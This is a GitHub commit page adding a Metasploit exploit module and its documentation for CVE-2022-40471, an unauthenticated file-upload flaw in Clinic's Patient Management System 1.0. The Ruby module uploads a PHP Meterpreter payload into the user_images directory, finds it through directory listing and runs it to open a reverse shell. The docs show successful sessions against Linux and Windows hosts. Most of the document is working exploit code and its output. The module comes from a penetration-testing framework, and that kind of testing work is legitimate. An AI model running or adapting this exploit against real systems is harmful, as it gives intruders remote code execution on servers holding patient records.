-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19733, exploit module for CVE-2022-40471 - unauthenticated RCE
- Loading branch information
Showing
2 changed files
with
364 additions
and
0 deletions.
There are no files selected for viewing
116 changes: 116 additions & 0 deletions
116
documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
## Vulnerable Application | ||
The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability. | ||
This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely. | ||
The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of | ||
a directory listing feature in `/pms/user_images`. | ||
This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code. | ||
|
||
## Verification Steps | ||
|
||
### Vulnerable Application Installation Setup | ||
1. Install Clinic's Patient Management System 1.0 on your web server. | ||
- Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code) | ||
- For **Windows** | ||
- [ ] Open your XAMPP Control Panel and start Apache and MySQL. | ||
- [ ] Extract the downloaded source code zip file. | ||
- [ ] Copy the extracted source code folder and paste it into the XAMPP's "htdocs" directory. | ||
- [ ] Browse the PHPMyAdmin in a browser. i.e. http://localhost/phpmyadmin | ||
- [ ] Create a new database naming `pms_db`. | ||
- [ ] Import the provided SQL file. The file is known as pms_db.sql located inside the database folder. | ||
- [ ] Browse the Clinic Patient Management System in a browser. i.e. http://localhost/pms/ | ||
|
||
- For **Linux** | ||
- [ ] Start Apache2 & MySQL with the command `sudo systemctl start apache2 && sudo systemctl start mysql` | ||
- [ ] Install PHPMyAdmin with the command `sudo apt install phpmyadmin -y` | ||
- [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf` | ||
- [ ] Extract the downloaded source code zip file into "/var/www/html" directory | ||
- [ ] Next steps are similar to the ones for Windows, so follow that | ||
|
||
2. Start `msfconsole` and load the exploit module: | ||
```bash | ||
msfconsole | ||
use exploit/multi/http/clinic_pms_fileupload_rce | ||
``` | ||
|
||
3. Set the required options: | ||
```bash | ||
set rport <port> | ||
set rhost <ip> | ||
set targeturi /pms | ||
``` | ||
|
||
4. Check if the target is vulnerable: | ||
```bash | ||
check | ||
``` | ||
|
||
If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit: | ||
``` | ||
[+] <IP> The target is vulnerable. | ||
``` | ||
|
||
5. Set up the listener for the exploit: | ||
```bash | ||
set lport <port> | ||
set lhost <ip> | ||
``` | ||
|
||
6. Launch the exploit: | ||
```bash | ||
exploit | ||
``` | ||
|
||
7. If successful, you will receive a PHP Meterpreter shell. | ||
|
||
## Options | ||
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`). | ||
- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds). | ||
|
||
|
||
## Scenarios | ||
|
||
### Clinic's Patient Management System on a Linux Target | ||
```bash | ||
msf exploit(multi/http/clinic_pms_fileupload_rce) > check | ||
[*] Checking if target is vulnerable... | ||
[+] 127.0.0.1:80 - The target is vulnerable. | ||
|
||
msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit | ||
[*] Started reverse TCP handler on 192.168.1.104:4444 | ||
[*] Detected OS: linux | ||
[*] Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self. | ||
[*] Uploading PHP Meterpreter payload as zuX7FDRe.php... | ||
[+] Payload uploaded successfully! | ||
[*] Executing the uploaded shell at /pms/user_images/1734340436zuX7FDRe.php... | ||
[*] Sending stage (40004 bytes) to 192.168.1.104 | ||
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.104:48290) at 2024-12-16 14:43:59 +0530 | ||
|
||
meterpreter > sysinfo | ||
Computer : kali | ||
OS : Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64 | ||
Meterpreter : php/linux | ||
meterpreter > | ||
``` | ||
### Clinic's Patient Management System on a Windows Target | ||
```bash | ||
msf exploit(multi/http/clinic_pms_fileupload_rce) > check | ||
[*] Checking if target is vulnerable... | ||
[+] 192.168.1.103:80 - The target is vulnerable. | ||
|
||
msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit | ||
[*] Started reverse TCP handler on 192.168.1.104:4444 | ||
[*] Detected OS: winnt | ||
[*] Target is Windows. Using standard PHP Meterpreter payload. | ||
[*] Uploading PHP Meterpreter payload as lgTprVq5.php... | ||
[+] Payload uploaded successfully! | ||
[*] Executing the uploaded shell at /pms/user_images/1734341267lgTprVq5.php... | ||
[*] Sending stage (40004 bytes) to 192.168.1.103 | ||
[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615) at 2024-12-16 14:57:43 +0530 | ||
|
||
meterpreter > sysinfo | ||
Computer : DESKTOP-VE9J36K | ||
OS : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64 | ||
Meterpreter : php/windows | ||
meterpreter > | ||
``` |
248 changes: 248 additions & 0 deletions
248
modules/exploits/multi/http/clinic_pms_fileupload_rce.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,248 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::PhpEXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated file upload vulnerability in Clinic's | ||
Patient Management System 1.0. An attacker can upload a PHP web shell and execute | ||
it by leveraging directory listing enabled on the `/pms/user_images` directory. | ||
}, | ||
'Author' => [ | ||
'Aaryan Golatkar', # Metasploit Module Developer | ||
'Oğulcan Hami Gül', # Vulnerability discovery | ||
], | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'Privileged' => false, | ||
'Targets' => [ | ||
['Clinic Patient Management System 1.0', {}] | ||
], | ||
'DefaultTarget' => 0, | ||
'References' => [ | ||
['EDB', '51779'], | ||
['CVE', '2022-40471'], | ||
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'], | ||
['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view'] | ||
], | ||
'DisclosureDate' => '2022-10-31', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']), | ||
OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]), | ||
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false]) | ||
]) | ||
end | ||
|
||
def check | ||
print_status('Checking if target is vulnerable...') | ||
|
||
# Step 1: Retrieve PHPSESSID | ||
vprint_status('Fetching PHPSESSID from the server...') | ||
res_session = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'users.php'), | ||
'method' => 'GET' | ||
}) | ||
|
||
unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies) | ||
print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.') | ||
return CheckCode::Unknown | ||
end | ||
|
||
phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/) | ||
if phpsessid.nil? | ||
print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.') | ||
return CheckCode::Unknown | ||
else | ||
phpsessid = phpsessid[1] | ||
vprint_good("Obtained PHPSESSID: #{phpsessid}") | ||
end | ||
|
||
# Step 2: Attempt File Upload | ||
dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png" | ||
dummy_content = Rex::Text.rand_text_alphanumeric(20) | ||
dummy_name = Rex::Text.rand_text_alphanumeric(6) | ||
post_data = Rex::MIME::Message.new | ||
post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"') | ||
post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"') | ||
post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"') | ||
post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"") | ||
post_data.add_part('', nil, nil, 'form-data; name="save_user"') | ||
|
||
vprint_status("Uploading dummy file #{dummy_filename}...") | ||
res_upload = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'users.php'), | ||
'method' => 'POST', | ||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}", | ||
'data' => post_data.to_s, | ||
'cookie' => "PHPSESSID=#{phpsessid}" | ||
}) | ||
|
||
unless res_upload && res_upload.code == 302 | ||
print_error('File upload attempt failed. Target may not be vulnerable.') | ||
return CheckCode::Safe | ||
end | ||
vprint_good('Dummy file uploaded successfully.') | ||
|
||
# Step 3: Verify File in Directory Listing | ||
vprint_status('Verifying uploaded file in /pms/user_images...') | ||
res_listing = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'user_images/'), | ||
'method' => 'GET', | ||
'cookie' => "PHPSESSID=#{phpsessid}" | ||
}) | ||
|
||
if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename) | ||
vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!") | ||
CheckCode::Vulnerable | ||
else | ||
vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.") | ||
CheckCode::Unknown | ||
end | ||
end | ||
|
||
def upload_shell | ||
random_user = Rex::Text.rand_text_alphanumeric(8) | ||
random_password = Rex::Text.rand_text_alphanumeric(12) | ||
detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s | ||
detection_filename = "#{detection_basename}.php" | ||
|
||
# Step 1: Detect the OS | ||
detection_script = <<~PHP | ||
<?php | ||
echo PHP_OS . "\\n"; | ||
?> | ||
PHP | ||
|
||
vprint_status("Uploading OS detection script as #{detection_filename}...") | ||
post_data = Rex::MIME::Message.new | ||
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') | ||
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') | ||
post_data.add_part(random_password, nil, nil, 'form-data; name="password"') | ||
post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"") | ||
post_data.add_part('', nil, nil, 'form-data; name="save_user"') | ||
|
||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'users.php'), | ||
'method' => 'POST', | ||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}", | ||
'data' => post_data.to_s | ||
}) | ||
|
||
fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302 | ||
vprint_good('OS detection script uploaded successfully!') | ||
|
||
# Step 2: Retrieve the actual uploaded filename | ||
vprint_status('Retrieving directory listing to identify detection script...') | ||
sleep datastore['LISTING_DELAY'] | ||
|
||
res_listing = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'user_images/'), | ||
'method' => 'GET' | ||
}) | ||
|
||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 | ||
|
||
match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/) | ||
fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil? | ||
|
||
actual_detection_filename = match[1] | ||
vprint_status("Detected script filename: #{actual_detection_filename}") | ||
|
||
# Step 3: Execute the detection script | ||
detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename) | ||
vprint_status("Executing OS detection script at #{detection_url}...") | ||
res = send_request_cgi({ | ||
'uri' => detection_url, | ||
'method' => 'GET' | ||
}) | ||
|
||
fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil? | ||
detected_os = res.body.strip.downcase | ||
vprint_status("Detected OS: #{detected_os}") | ||
|
||
# Step 4: Choose payload based on OS | ||
if detected_os.include?('win') | ||
payload_content = get_write_exec_payload | ||
print_status('Target is Windows. Using standard PHP Meterpreter payload.') | ||
else | ||
payload_content = get_write_exec_payload(unlink_self: true) | ||
print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.') | ||
end | ||
|
||
# Step 5: Upload the payload | ||
random_user = Rex::Text.rand_text_alphanumeric(8) | ||
random_password = Rex::Text.rand_text_alphanumeric(12) | ||
payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php" | ||
|
||
vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...") | ||
|
||
post_data = Rex::MIME::Message.new | ||
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') | ||
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') | ||
post_data.add_part(random_password, nil, nil, 'form-data; name="password"') | ||
post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"") | ||
post_data.add_part('', nil, nil, 'form-data; name="save_user"') | ||
|
||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'users.php'), | ||
'method' => 'POST', | ||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}", | ||
'data' => post_data.to_s | ||
}) | ||
|
||
fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302 | ||
print_good('Payload uploaded successfully!') | ||
|
||
# Verify the presence of the uploaded file in the directory listing | ||
vprint_status('Retrieving directory listing to confirm the uploaded payload...') | ||
sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server | ||
|
||
res_listing = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'user_images/'), | ||
'method' => 'GET' | ||
}) | ||
|
||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 | ||
|
||
# Search for the uploaded filename | ||
match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/) | ||
fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil? | ||
|
||
actual_filename = match[1] | ||
vprint_good("Verified payload presence: #{actual_filename}") | ||
register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES'] | ||
actual_filename | ||
end | ||
|
||
def exploit | ||
# Upload the shell and retrieve its filename | ||
uploaded_filename = upload_shell | ||
|
||
# Construct the URL for the uploaded shell | ||
shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename) | ||
print_status("Executing the uploaded shell at #{shell_url}...") | ||
|
||
# Execute the uploaded shell | ||
send_request_raw({ 'uri' => shell_url, 'method' => 'GET' }) | ||
end | ||
end |